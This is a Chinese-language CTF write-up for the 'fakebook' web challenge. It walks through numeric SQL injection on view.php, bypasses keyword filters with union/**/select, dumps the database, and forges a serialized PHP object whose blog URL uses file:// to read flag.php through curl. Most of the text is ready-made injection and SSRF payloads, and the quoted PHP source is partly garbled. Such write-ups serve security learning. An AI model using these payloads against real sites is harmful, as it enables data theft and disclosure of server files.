题目


先目录扫描一下
dirseach

打开flag.php是空白的

访问robots.txt,访问user.php.bak
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct(name, age, $blog)
{
this-\>name = name;
this-\>age = (int)age;
this-\>blog = blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt(ch, CURLOPT_URL, url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
output = curl_exec(ch);
httpCode = curl_getinfo(ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return this-\>get(this->blog);
}
public function isValidBlog ()
{
blog = this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?/i", blog);
}
}
但是好像没用
正常注册一下
这里发现有no=1试一试sql注入
加个'报错 可能存在注入
1 and 1=1 正常
1 and 1=2 报错
1' and 1=1 --+报错
1' and 1=2 --+报错
确定是数字型注入
爆字段1 order by 4正常

1 order by 5报错,确定字段是4
爆显位
1 union select 1,2,3,4
但是被过滤了

union 和select被前端过滤了,用unicode和<>绕过过滤是不可行的,只有/**/union /**/select可以绕过:
view.php?no=2 UniOn select 1,2,3,4#
view.php?no=2 union SelEct 1,2,3,4#
view.php?no=2 uunionnion selselectect 1,2,3,4#
view.php?no=2 union/**/select 1,2,3,4#
view.php?no=2 union++select 1,2,3,4#
no=-1 /**/union /**/select 1,2,3,4
说明显位是2

爆库名
view.php?no=2 union++select 1,user(),3,4#
view.php?no=2 union++select 1,database(),3,4#
-1 /**/union /**/select 1,group_conact(schema_name),3,4 from information_schema.schemata

爆表名
-1 /**/union /**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"

爆字段
-1 /**/union /**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema="fakebook"

爆数据
-1 /**/union /**/select 1,group_concat(data),3,4 from fakebook.users
发现是我们注册时被序列化的数据
O:8:"UserInfo":3:{s:4:"name";s:5:"20_aw";s:3:"age";i:20;s:4:"blog";s:10:"www.aw.com";}
得到一个现成的序列化数据我们能否模仿
通过之前查的数据username是字段2,猜测data是字段4按顺序来嘛
no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"20_aw";s:3:"age";i:20;s:4:"blog";s:10:"www.aw.com";} '

页面正常起来了
注意no现在的值为2,我们知道这个用户是不存在的。换而言之,原SQL语句的查询结果为空,而我们通过union加入了我们构造的查询语句,让SQL语句有了查询结果,并且此查询结果符合页面渲染要求,所以页面正常显示了。
并且由此得知,只要有data字段的对象序列,就可以成功渲染页面,其他字段并不是很重要。(页面中age和blog的值,显然也都是从序列化的对象里面得到的)
利用php伪协议读取,flag文件嘛
修改序列化中的blog参数,路径之前报错算是提示吧,而且一般都是默认路径
s:4:"blog";s:29:"file:///var/www/html/flag.php";
no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"20_aw";s:3:"age";i:20;s:4:"blog";s:29:"file:///var/www/html/flag.php";} '
打开源代码中发现
点击
